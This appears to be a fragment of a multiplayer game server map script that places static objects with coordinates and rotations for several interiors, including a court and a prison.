CreateDynamicObject(3394, 2591.60400, -1491.15332, -46.23640,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(3395, 2578.17749, -1496.01196, -46.23630,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(3389, 2575.11060, -1492.32385, -46.23840,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(3388, 2575.11060, -1491.28015, -46.23840,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(3387, 2575.11060, -1493.35913, -46.23840,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(3386, 2575.11060, -1494.40210, -46.23840,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(2606, 2578.67944, -1490.76758, -44.06360,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2606, 2578.67944, -1490.76758, -44.51390,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(14391, 2583.95825, -1491.39612, -45.28270,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(1671, 2585.79834, -1493.32935, -45.79240,   0.00000, 0.00000, 200.00000);
CreateDynamicObject(1671, 2583.03809, -1493.37903, -45.79240,   0.00000, 0.00000, 170.00000);
CreateDynamicObject(1671, 2591.25732, -1491.89514, -45.79240,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(1671, 2578.37451, -1495.59460, -45.79240,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2606, 2589.80542, -1496.32996, -43.81910,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(2606, 2589.80542, -1496.32996, -44.25910,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(19377, 2592.14258, -1491.71265, -43.14140,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2581.76343, -1491.67957, -43.14140,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2571.33789, -1491.62769, -43.14140,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(14680, 2590.65576, -1496.53162, -44.77840,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(14680, 2583.76318, -1496.50903, -44.77840,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19438, 2593.46069, -1523.85315, -44.66560,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19438, 2593.46069, -1528.16846, -44.66560,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19438, 2593.46069, -1526.56458, -44.66560,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19438, 2593.45996, -1525.10400, -44.66560,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2855, 2589.30444, -1523.53430, -49.91580,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(2852, 2579.39990, -1523.78247, -49.91603,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2819, 2582.60229, -1524.50977, -49.91674,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19325, 2583.98071, -1496.63440, -44.22130,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19325, 2593.47339, -1521.86755, -43.01513,   90.00000, 0.00000, 0.00000);
CreateDynamicObject(19325, 2593.50684, -1530.39648, -42.97044,   90.00000, 0.00000, 0.00000);
CreateDynamicObject(19325, 2588.88647, -1517.69177, -42.50720,   90.00000, 0.00000, 0.00000);
CreateDynamicObject(19325, 2588.88647, -1514.42761, -42.50720,   90.00000, 0.00000, 0.00000);
CreateDynamicObject(19325, 2588.88647, -1510.71814, -42.50720,   90.00000, 0.00000, 0.00000);
CreateDynamicObject(19325, 2588.88647, -1506.75598, -42.50720,   90.00000, 0.00000, 0.00000);
CreateDynamicObject(19325, 2588.88647, -1503.50513, -42.50720,   90.00000, 0.00000, 0.00000);
CreateDynamicObject(19325, 2593.45288, -1499.01685, -43.11288,   90.00000, 0.00000, 0.00000);
CreateDynamicObject(19457, 2577.48267, -1514.06824, -44.66560,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1649, 2600.22559, -1530.64111, -48.07390,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1649, 2600.22559, -1530.64111, -48.07390,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1649, 2600.22559, -1530.64111, -48.07390,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1649, 2600.22559, -1530.64111, -48.07390,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1649, 2600.22559, -1530.64111, -48.07390,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1649, 2600.22559, -1530.64111, -48.07390,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1649, 2600.22559, -1530.64111, -48.07390,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1649, 2600.22559, -1530.64111, -48.07390,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1649, 2600.22559, -1530.64111, -48.07390,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1649, 2600.22559, -1530.64111, -48.07390,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1649, 2600.22559, -1530.64111, -48.07390,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1649, 2600.22559, -1530.64111, -48.07390,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1649, 2600.22559, -1530.64111, -48.07390,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1649, 2600.22559, -1530.64111, -48.07390,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1649, 2600.22559, -1530.64111, -48.07390,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1649, 2600.22559, -1530.64111, -48.07390,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1649, 2600.22559, -1530.64111, -48.07390,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1649, 2600.22559, -1530.64111, -48.07390,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1649, 2600.22559, -1530.64111, -48.07390,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1649, 2600.22559, -1530.64111, -48.07390,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1649, 2600.22559, -1530.64111, -48.07390,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1649, 2600.22559, -1530.64111, -48.07390,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1649, 2600.22559, -1530.64111, -48.07390,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1649, 2600.22559, -1530.64111, -48.07390,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1649, 2600.22559, -1530.64111, -48.07390,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1649, 2600.22559, -1530.64111, -48.07390,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1649, 2600.22559, -1530.64111, -48.07390,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1649, 2600.22559, -1530.64111, -48.07390,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1649, 2600.22559, -1530.64111, -48.07390,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1649, 2600.22559, -1530.64111, -48.07390,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1649, 2600.22559, -1530.64111, -48.07390,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1649, 2600.22559, -1530.64111, -48.07390,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1649, 2600.22559, -1530.64111, -48.07390,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1649, 2600.22559, -1530.64111, -48.07390,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1649, 2600.22559, -1530.64111, -48.07390,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1649, 2600.22559, -1530.64111, -48.07390,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19457, 2577.49048, -1498.79236, -45.70343,   -89.76003, -178.91977, -0.42000);
CreateDynamicObject(19457, 2577.45874, -1498.29382, -45.70343,   -89.76003, -178.91977, -0.42000);
CreateDynamicObject(19457, 2589.67944, -1521.51099, -45.70343,   -89.76003, -178.91977, 2.99999);
CreateDynamicObject(19365, 2589.44824, -1496.61133, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(2949, 2593.46313, -1497.47461, -49.90915,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2949, 2568.49316, -1487.23718, -49.94619,   0.00000, 0.00000, 90.54010);
CreateDynamicObject(19440, 2582.40894, -1487.14819, -48.15701,   0.00000, 0.00000, 89.70000);




// Court
CreateDynamicObject(14858, 2182.9599609375, 1303.8388671875, 7703.203125-4000, 0, 0, 0);
	CreateDynamicObject(14856, 2136.38281250, 1303.83300781, 7699.94238281-4000, 0.00000000, 0.00000000, 0.00000000);
	CreateDynamicObject(2184, 2137.48364258, 1302.44226074, 7698.05468750-4000, 0.00000000, 0.00000000, 90.00000000);
	CreateDynamicObject(2606, 2137.33105469, 1303.53515625, 7698.95605469-4000, 339.99938965, 0.00000000, 270.00000000);
	CreateDynamicObject(2356, 2135.92944336, 1303.53198242, 7698.05468750-4000, 0.00000000, 0.00000000, 270.00000000);
	CreateDynamicObject(2605, 2134.93164062, 1299.84765625, 7698.45312500-4000, 0.00000000, 0.00000000, 179.99450684);
	CreateDynamicObject(2356, 2134.73828125, 1300.80957031, 7698.05468750-4000, 0.00000000, 0.00000000, 203.99963379);
	CreateDynamicObject(2611, 2134.85522461, 1299.44750977, 7699.56250000-4000, 0.00000000, 0.00000000, 180.00000000);
	CreateDynamicObject(2616, 2136.06250000, 1307.31982422, 7699.41748047-4000, 0.00000000, 0.00000000, 0.00000000);
	CreateDynamicObject(2616, 2133.79736328, 1303.69055176, 7699.39599609-4000, 0.00000000, 0.00000000, 90.00000000);
	CreateDynamicObject(1536, 2166.15429688, 1294.91516113, 7698.05468750-4000, 0.00000000, 0.00000000, 90.00000000);
	CreateDynamicObject(1536, 2166.11474609, 1297.93518066, 7698.05468750-4000, 0.00000000, 0.00000000, 270.00000000);
	CreateDynamicObject(2765, 2165.64843750, 1295.57873535, 7696.93408203-4000, 0.00000000, 0.00000000, 90.00000000);
	CreateDynamicObject(2886, 2166.10888672, 1288.69531250, 7699.41552734-4000, 0.00000000, 0.00000000, 89.50000000);
	CreateDynamicObject(2963, 2170.23632812, 1305.09375000, 7699.20263672-4000, 0.00000000, 0.00000000, 90.00000000);
	CreateDynamicObject(2184, 2150.10302734, 1301.71557617, 7698.05468750-4000, 0.00000000, 0.00000000, 72.00000000);
	CreateDynamicObject(2184, 2152.84960938, 1307.32714844, 7698.05468750-4000, 0.00000000, 0.00000000, 287.74291992);
	CreateDynamicObject(2184, 2153.46679688, 1302.81835938, 7698.05468750-4000, 0.00000000, 0.00000000, 252.49658203);
	CreateDynamicObject(3657, 2161.14746094, 1307.75622559, 7698.57275391-4000, 0.00000000, 0.00000000, 270.00000000);
	CreateDynamicObject(3657, 2161.13818359, 1300.44653320, 7698.57275391-4000, 0.00000000, 0.00000000, 270.00000000);
	CreateDynamicObject(3657, 2161.14233398, 1304.10864258, 7698.57275391-4000, 0.00000000, 0.00000000, 270.00000000);
	CreateDynamicObject(3657, 2159.19262695, 1304.14074707, 7698.57275391-4000, 0.00000000, 0.00000000, 270.00000000);
	CreateDynamicObject(3657, 2159.19384766, 1300.47839355, 7698.57275391-4000, 0.00000000, 0.00000000, 270.00000000);
	CreateDynamicObject(3657, 2159.19287109, 1307.78540039, 7698.57275391-4000, 0.00000000, 0.00000000, 270.00000000);
	CreateDynamicObject(3657, 2157.28417969, 1304.11010742, 7698.57275391-4000, 0.00000000, 0.00000000, 270.00000000);
	CreateDynamicObject(3657, 2157.30273438, 1300.48547363, 7698.57275391-4000, 0.00000000, 0.00000000, 270.00000000);
	CreateDynamicObject(3657, 2157.27441406, 1307.75195312, 7698.57275391-4000, 0.00000000, 0.00000000, 270.00000000);
	CreateDynamicObject(2614, 2147.71997070, 1304.12817383, 7700.35986328-4000, 0.00000000, 0.00000000, 90.00000000);
	CreateDynamicObject(2184, 2150.75781250, 1304.45898438, 7698.05468750-4000, 0.00000000, 0.00000000, 109.24801636);
	CreateDynamicObject(1714, 2148.8005371094, 1304.0843505859, 7698.0546875-4000, 0, 0, 90);
	CreateDynamicObject(2886, 2137.78662109, 1299.37780762, 7699.28369141-4000, 0.00000000, 0.00000000, 180.00000000);
	CreateDynamicObject(2886, 2137.80908203, 1307.41931152, 7699.28955078-4000, 0.00000000, 0.00000000, 0.00000000);
	CreateDynamicObject(2886, 2136.08740234, 1316.28686523, 7699.32763672-4000, 0.00000000, 0.00000000, 0.00000000);
	CreateDynamicObject(2886, 2136.01269531, 1291.35742188, 7699.35449219-4000, 0.00000000, 0.00000000, 179.99450684);
	CreateDynamicObject(1536, 2146.97949219, 1279.44921875, 7698.05468750-4000, 0.00000000, 0.00000000, 0.00000000);
	CreateDynamicObject(1536, 2149.98535156, 1279.49414062, 7698.05468750-4000, 0.00000000, 0.00000000, 180.00000000);
	CreateDynamicObject(1671, 2154.7143554688, 1300.8967285156, 7698.5151367188-4000, 0, 0, 268.99475097656);
	CreateDynamicObject(1671, 2154.9309082031, 1301.7502441406, 7698.5151367188-4000, 0, 0, 243.91735839844);
	CreateDynamicObject(1671, 2154.7299804688, 1307.2419433594, 7698.5151367188-4000, 0, 0, 268.9892578125);
	CreateDynamicObject(1671, 2154.9128417969, 1306.3682861328, 7698.5151367188-4000, 0, 0, 296.09619140625);
	CreateDynamicObject(2605, 2134.18896484, 1305.84082031, 7698.45312500-4000, 0.00000000, 0.00000000, 90.00000000);
	CreateDynamicObject(2356, 2135.15966797, 1306.14807129, 7698.05468750-4000, 0.00000000, 0.00000000, 127.99963379);
	CreateDynamicObject(1536, 2152.21875000, 1279.45776367, 7698.05468750-4000, 0.00000000, 0.00000000, 0.00000000);
	CreateDynamicObject(1536, 2155.23730469, 1279.48999023, 7698.05468750-4000, 0.00000000, 0.00000000, 180.00000000);
	CreateDynamicObject(1536, 2157.43969727, 1279.45031738, 7698.05468750-4000, 0.00000000, 0.00000000, 0.00000000);
	CreateDynamicObject(1536, 2160.46459961, 1279.48999023, 7698.05468750-4000, 0.00000000, 0.00000000, 180.00000000);
	CreateDynamicObject(970, 2155.61596680, 1297.64294434, 7698.60595703-4000, 0.00000000, 0.00000000, 90.00000000);
	CreateDynamicObject(970, 2155.62109375, 1301.79992676, 7698.60595703-4000, 0.00000000, 0.00000000, 90.00000000);
	CreateDynamicObject(970, 2155.62182617, 1305.95935059, 7698.60595703-4000, 0.00000000, 0.00000000, 90.00000000);
	CreateDynamicObject(970, 2155.62524414, 1310.10156250, 7698.60595703-4000, 0.00000000, 0.00000000, 90.00000000);
	CreateDynamicObject(638, 2148.77148438, 1311.07031250, 7698.75195312-4000, 0.00000000, 0.00000000, 135.00000000);
	CreateDynamicObject(638, 2148.82470703, 1296.67236328, 7698.75195312-4000, 0.00000000, 0.00000000, 226.50000000);
	CreateDynamicObject(1360, 2160.54418945, 1311.05700684, 7698.83203125-4000, 0.00000000, 0.00000000, 232.00000000);
	CreateDynamicObject(1360, 2160.28271484, 1296.88574219, 7698.83300781-4000, 0.00000000, 0.00000000, 314.00000000);
	CreateDynamicObject(1536, 2150.24682617, 1316.41271973, 7698.06250000-4000, 0.00000000, 0.00000000, 180.00000000);
	CreateDynamicObject(1536, 2147.24389648, 1316.37048340, 7698.06250000-4000, 0.00000000, 0.00000000, 0.00000000);
	CreateDynamicObject(1536, 2158.14160156, 1316.42773438, 7698.06250000-4000, 0.00000000, 0.00000000, 179.99450684);
	CreateDynamicObject(1536, 2155.18334961, 1316.38415527, 7698.06250000-4000, 0.00000000, 0.00000000, 0.00000000);
	CreateDynamicObject(1536, 2162.18750000, 1316.42309570, 7698.06250000-4000, 0.00000000, 0.00000000, 179.99450684);
	CreateDynamicObject(1536, 2159.18627930, 1316.39318848, 7698.06250000-4000, 0.00000000, 0.00000000, 0.00000000);
	CreateDynamicObject(1569, 2167.04077148, 1315.22595215, 7698.06250000-4000, 0.00000000, 0.00000000, 134.00000000);
	CreateDynamicObject(1569, 2164.95678711, 1317.38098145, 7698.05664062-4000, 0.00000000, 0.00000000, 314.00000000);
	CreateDynamicObject(4724, 2173.39648438, 1316.80029297, 7700.08935547-4000, 0.00000000, 0.00000000, 224.00000000);
	CreateDynamicObject(4724, 2171.07910156, 1319.17773438, 7700.06298828-4000, 0.00000000, 0.00000000, 223.99475098);
	CreateDynamicObject(4724, 2168.77783203, 1321.54064941, 7700.04199219-4000, 0.00000000, 0.00000000, 223.99475098);
	CreateDynamicObject(4724, 2167.89819336, 1322.43969727, 7700.04785156-4000, 0.00000000, 0.00000000, 223.99475098);
	CreateDynamicObject(1535, 2166.1032714844, 1287.908203125, 7698.0546875-4000, 0, 0, 270);
	CreateDynamicObject(1535, 2166.1372070313, 1284.8812255859, 7698.0546875-4000, 0, 0, 90);
	CreateDynamicObject(19360, 2156.56274, 1312.36584, 7698.91455-4000,   0.00000, 0.00000, 90.05997);
    CreateDynamicObject(19360, 2152.76636, 1312.27991, 7698.91455-4000,   0.00000, 0.00000, 90.05997);
    CreateDynamicObject(19360, 2156.77808, 1295.39648, 7698.87158-4000,   0.00000, 0.00000, 88.31994);
    CreateDynamicObject(19360, 2152.42285, 1295.35779, 7699.16260-4000,   0.00000, 0.00000, 87.95989);
    CreateDynamicObject(2949, 2153.43311, 1295.39807, 7698.04346-4000,   0.00000, 0.00000, -92.46001);





// Prison interior
    CreateDynamicObject(8419,1796.79882812,-1548.17187500,5687.70214844-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(3944,1821.79687500,-1557.96679688,5698.92626953-2000,0.00000000,0.00000000,270.24719238,0,15);
	CreateDynamicObject(3944,1821.87402344,-1575.94921875,5698.92626953-2000,0.00000000,0.00000000,270.24719238,0,15);
	CreateDynamicObject(3944,1824.87207031,-1585.84765625,5698.92626953-2000,0.00000000,0.00000000,0.24719238,0,15);
	CreateDynamicObject(3944,1824.86718750,-1582.13378906,5698.92626953-2000,0.00000000,0.00000000,180.24169922,0,15);
	CreateDynamicObject(3944,1806.78503418,-1584.22143555,5698.92626953-2000,0.00000000,0.00000000,180.24169922,0,15);
	CreateDynamicObject(3944,1795.26306152,-1586.00744629,5698.92626953-2000,0.00000000,0.00000000,0.48889160,0,15);
	CreateDynamicObject(3944,1795.24902344,-1582.25390625,5698.92626953-2000,0.00000000,0.00000000,180.24169922,0,15);
	CreateDynamicObject(3944,1798.66406250,-1574.10253906,5698.92626953-2000,0.00000000,0.00000000,90.47790527,0,15);
	CreateDynamicObject(14437,1801.84790039,-1581.60253906,5700.90429688-2000,0.00000000,0.00000000,270.50000000,0,15);
	CreateDynamicObject(8661,1808.54980469,-1576.13574219,5699.42871094-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(8661,1835.80200195,-1573.08117676,5702.91748047-2000,0.00000000,359.98352051,0.09600830,0,15);
	CreateDynamicObject(3944,1821.87402344,-1575.94921875,5702.39501953-2000,0.00000000,0.00000000,270.24719238,0,15);
	CreateDynamicObject(3944,1824.80957031,-1582.13281250,5702.40478516-2000,0.00000000,0.00000000,180.24169922,0,15);
	CreateDynamicObject(3944,1806.78417969,-1584.22070312,5702.40673828-2000,0.00000000,0.00000000,180.24169922,0,15);
	CreateDynamicObject(8661,1816.45019531,-1575.28027344,5706.34667969-2000,0.00000000,179.99450684,0.00000000,0,15);
	CreateDynamicObject(14437,1801.84765625,-1581.60253906,5704.89257812-2000,0.00000000,0.00000000,270.49438477,0,15);
	CreateDynamicObject(3944,1793.48046875,-1581.34179688,5698.92626953-2000,0.00000000,0.00000000,0.48889160,0,15);
	CreateDynamicObject(3944,1793.46484375,-1577.58789062,5698.92626953-2000,0.00000000,0.00000000,180.24169922,0,15);
	CreateDynamicObject(3944,1793.46484375,-1577.58789062,5702.42626953-2000,0.00000000,0.00000000,180.24169922,0,15);
	CreateDynamicObject(3944,1793.48046875,-1581.34179688,5702.41845703-2000,0.00000000,0.00000000,0.48889160,0,15);
	CreateDynamicObject(8661,1784.27478027,-1559.68432617,5702.60644531-2000,0.00000000,179.99450684,0.09597778,0,15);
	CreateDynamicObject(8661,1784.25488281,-1573.11132812,5702.90527344-2000,0.00000000,359.98352051,0.00000000,0,15);
	CreateDynamicObject(3944,1798.66406250,-1574.10253906,5702.41455078-2000,0.00000000,0.00000000,90.48339844,0,15);
	CreateDynamicObject(14437,1801.79675293,-1576.83459473,5704.87500000-2000,0.00000000,0.00000000,270.49438477,0,15);
	CreateDynamicObject(14437,1801.79589844,-1576.85156250,5700.90039062-2000,0.00000000,0.00000000,270.48889160,0,15);
	CreateDynamicObject(3944,1793.51538086,-1576.59106445,5698.92626953-2000,0.00000000,0.00000000,0.48889160,0,15);
	CreateDynamicObject(3944,1793.52307129,-1576.58715820,5702.42041016-2000,0.00000000,0.00000000,0.48889160,0,15);
	CreateDynamicObject(3944,1793.51391602,-1572.83447266,5698.92626953-2000,0.00000000,0.00000000,180.24169922,0,15);
	CreateDynamicObject(3944,1793.51367188,-1572.83398438,5702.42041016-2000,0.00000000,0.00000000,180.24169922,0,15);
	CreateDynamicObject(14437,1801.80175781,-1572.08593750,5700.90039062-2000,0.00000000,0.00000000,270.48889160,0,15);
	CreateDynamicObject(14437,1801.80175781,-1572.08593750,5704.88671875-2000,0.00000000,0.00000000,270.49438477,0,15);
	CreateDynamicObject(8661,1835.75585938,-1553.13378906,5702.91748047-2000,0.00000000,359.98352051,0.00000000,0,15);
	CreateDynamicObject(8661,1835.82031250,-1553.18554688,5702.61279297-2000,0.00000000,179.98352051,0.18676758,0,15);
	CreateDynamicObject(8661,1808.52148438,-1556.15332031,5699.42871094-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(3944,1821.79833984,-1557.91821289,5702.39501953-2000,0.00000000,0.00000000,270.24719238,0,15);
	CreateDynamicObject(14437,1801.78039551,-1567.40783691,5700.90039062-2000,0.00000000,0.00000000,270.74438477,0,15);
	CreateDynamicObject(14437,1801.78027344,-1567.40722656,5704.88867188-2000,0.00000000,0.00000000,270.73608398,0,15);
	CreateDynamicObject(8661,1816.47851562,-1555.29980469,5706.34667969-2000,0.00000000,179.99450684,0.00000000,0,15);
	CreateDynamicObject(3944,1793.52490234,-1571.81909180,5698.92626953-2000,0.00000000,0.00000000,0.48889160,0,15);
	CreateDynamicObject(3944,1793.52441406,-1571.81835938,5702.41455078-2000,0.00000000,0.00000000,0.48889160,0,15);
	CreateDynamicObject(3944,1793.50561523,-1568.06567383,5698.92626953-2000,0.00000000,0.00000000,180.24169922,0,15);
	CreateDynamicObject(3944,1793.50488281,-1568.06542969,5702.42041016-2000,0.00000000,0.00000000,180.24169922,0,15);
	CreateDynamicObject(3944,1798.51269531,-1556.09082031,5698.92626953-2000,0.00000000,0.00000000,90.47241211,0,15);
	CreateDynamicObject(3944,1798.51269531,-1556.09082031,5702.40283203-2000,0.00000000,0.00000000,90.47790527,0,15);
	CreateDynamicObject(8661,1784.22570801,-1553.13757324,5702.90527344-2000,0.00000000,359.99450684,0.00000000,0,15);
	CreateDynamicObject(3944,1793.48242188,-1567.14257812,5698.92626953-2000,0.00000000,0.00000000,0.48889160,0,15);
	CreateDynamicObject(3944,1793.48242188,-1567.14257812,5702.39111328-2000,0.00000000,0.00000000,0.48889160,0,15);
	CreateDynamicObject(3944,1793.47106934,-1563.38732910,5698.92626953-2000,0.00000000,0.00000000,180.24169922,0,15);
	CreateDynamicObject(3944,1793.47070312,-1563.38671875,5702.39306641-2000,0.00000000,0.00000000,180.24169922,0,15);
	CreateDynamicObject(16101,1816.01269531,-1579.16503906,5702.91113281-2000,0.00000000,179.99450684,0.00000000,0,15);
	CreateDynamicObject(16101,1816.01660156,-1569.74511719,5702.91113281-2000,0.00000000,179.99450684,0.00000000,0,15);
	CreateDynamicObject(16101,1804.04882812,-1579.32714844,5702.91113281-2000,0.00000000,179.99450684,0.00000000,0,15);
	CreateDynamicObject(16101,1804.09179688,-1570.01855469,5702.91699219-2000,0.00000000,179.99450684,0.00000000,0,15);
	CreateDynamicObject(3944,1795.24902344,-1582.25390625,5702.40087891-2000,0.00000000,0.00000000,180.24169922,0,15);
	CreateDynamicObject(3944,1795.26269531,-1586.00683594,5702.42236328-2000,0.00000000,0.00000000,0.48889160,0,15);
	CreateDynamicObject(14437,1801.72949219,-1562.65234375,5704.88867188-2000,0.00000000,0.00000000,270.73608398,0,15);
	CreateDynamicObject(14437,1801.72949219,-1562.65234375,5700.88867188-2000,0.00000000,0.00000000,270.73608398,0,15);
	CreateDynamicObject(3944,1793.45263672,-1562.38696289,5698.92626953-2000,0.00000000,0.00000000,0.48889160,0,15);
	CreateDynamicObject(3944,1793.45214844,-1562.38671875,5702.40869141-2000,0.00000000,0.00000000,0.48889160,0,15);
	CreateDynamicObject(3944,1793.43823242,-1558.63208008,5702.39306641-2000,0.00000000,0.00000000,180.24169922,0,15);
	CreateDynamicObject(3944,1793.43750000,-1558.63183594,5698.92626953-2000,0.00000000,0.00000000,180.24169922,0,15);
	CreateDynamicObject(14437,1801.65039062,-1557.91528320,5704.88867188-2000,0.00000000,0.00000000,270.73608398,0,15);
	CreateDynamicObject(3944,1793.38610840,-1557.64782715,5702.40869141-2000,0.00000000,0.00000000,0.48889160,0,15);
	CreateDynamicObject(14437,1801.65039062,-1557.91503906,5700.89257812-2000,0.00000000,0.00000000,270.73608398,0,15);
	CreateDynamicObject(3944,1793.36926270,-1553.90283203,5702.39306641-2000,0.00000000,0.00000000,180.24169922,0,15);
	CreateDynamicObject(3944,1793.38732910,-1553.86218262,5698.92626953-2000,0.00000000,0.00000000,180.24169922,0,15);
	CreateDynamicObject(14437,1801.65502930,-1553.17675781,5704.88867188-2000,0.00000000,0.00000000,270.73608398,0,15);
	CreateDynamicObject(3944,1793.39208984,-1552.90771484,5702.40869141-2000,0.00000000,0.00000000,0.48889160,0,15);
	CreateDynamicObject(3944,1793.38903809,-1549.15209961,5702.39306641-2000,0.00000000,0.00000000,180.24169922,0,15);
	CreateDynamicObject(14437,1801.65429688,-1553.17675781,5700.88867188-2000,0.00000000,0.00000000,270.73608398,0,15);
	CreateDynamicObject(3944,1793.39160156,-1552.90722656,5698.93017578-2000,0.00000000,0.00000000,0.48889160,0,15);
	CreateDynamicObject(3944,1793.38867188,-1549.15136719,5698.93408203-2000,0.00000000,0.00000000,180.24169922,0,15);
	CreateDynamicObject(3944,1826.20007324,-1553.61230469,5702.42626953-2000,0.00000000,0.00000000,180.24169922,0,15);
	CreateDynamicObject(3944,1826.21008301,-1558.38220215,5702.42626953-2000,0.00000000,0.00000000,180.24169922,0,15);
	CreateDynamicObject(3944,1826.28601074,-1563.12133789,5702.42626953-2000,0.00000000,0.00000000,180.24169922,0,15);
	CreateDynamicObject(3944,1826.34631348,-1567.86547852,5702.42626953-2000,0.00000000,0.00000000,180.24169922,0,15);
	CreateDynamicObject(3944,1826.34741211,-1572.60693359,5702.42626953-2000,0.00000000,0.00000000,180.24169922,0,15);
	CreateDynamicObject(3944,1826.33691406,-1577.35864258,5702.42626953-2000,0.00000000,0.00000000,180.24169922,0,15);
	CreateDynamicObject(3944,1826.33691406,-1577.35839844,5698.95361328-2000,0.00000000,0.00000000,180.24169922,0,15);
	CreateDynamicObject(3944,1826.34667969,-1572.60644531,5698.93212891-2000,0.00000000,0.00000000,180.24169922,0,15);
	CreateDynamicObject(3944,1826.34570312,-1567.86523438,5698.91064453-2000,0.00000000,0.00000000,180.24169922,0,15);
	CreateDynamicObject(3944,1826.28515625,-1563.12109375,5698.93603516-2000,0.00000000,0.00000000,180.24169922,0,15);
	CreateDynamicObject(3944,1826.20996094,-1558.38183594,5698.93603516-2000,0.00000000,0.00000000,180.24169922,0,15);
	CreateDynamicObject(3944,1826.20263672,-1557.28918457,5702.40869141-2000,0.00000000,0.00000000,0.48889160,0,15);
	CreateDynamicObject(3944,1826.19921875,-1553.61230469,5698.94775391-2000,0.00000000,0.00000000,180.24169922,0,15);
	CreateDynamicObject(3944,1826.20214844,-1557.28906250,5698.92041016-2000,0.00000000,0.00000000,0.48889160,0,15);
	CreateDynamicObject(3944,1826.20739746,-1562.05627441,5698.92041016-2000,0.00000000,0.00000000,0.48889160,0,15);
	CreateDynamicObject(3944,1826.20703125,-1562.05566406,5702.41259766-2000,0.00000000,0.00000000,0.48889160,0,15);
	CreateDynamicObject(3944,1826.28247070,-1566.78552246,5702.41259766-2000,0.00000000,0.00000000,0.48889160,0,15);
	CreateDynamicObject(3944,1826.28222656,-1566.78515625,5698.92041016-2000,0.00000000,0.00000000,0.48889160,0,15);
	CreateDynamicObject(3944,1826.35754395,-1571.53771973,5698.92041016-2000,0.00000000,0.00000000,0.48889160,0,15);
	CreateDynamicObject(3944,1826.35742188,-1571.53710938,5702.40869141-2000,0.00000000,0.00000000,0.48889160,0,15);
	CreateDynamicObject(3944,1826.34191895,-1576.27734375,5702.40869141-2000,0.00000000,0.00000000,0.48889160,0,15);
	CreateDynamicObject(3944,1826.34179688,-1576.27734375,5698.90283203-2000,0.00000000,0.00000000,0.48889160,0,15);
	CreateDynamicObject(3944,1826.33337402,-1581.03796387,5698.90283203-2000,0.00000000,0.00000000,0.48889160,0,15);
	CreateDynamicObject(3944,1826.32775879,-1581.03955078,5702.42041016-2000,0.00000000,0.00000000,0.48889160,0,15);
	CreateDynamicObject(3944,1826.20336914,-1552.55566406,5702.40869141-2000,0.00000000,0.00000000,0.48889160,0,15);
	CreateDynamicObject(3944,1826.20312500,-1552.55566406,5698.93408203-2000,0.00000000,0.00000000,0.48889160,0,15);
	CreateDynamicObject(3944,1826.19421387,-1548.88330078,5698.94775391-2000,0.00000000,0.00000000,180.24169922,0,15);
	CreateDynamicObject(3944,1826.18945312,-1548.87988281,5702.43212891-2000,0.00000000,0.00000000,180.24169922,0,15);
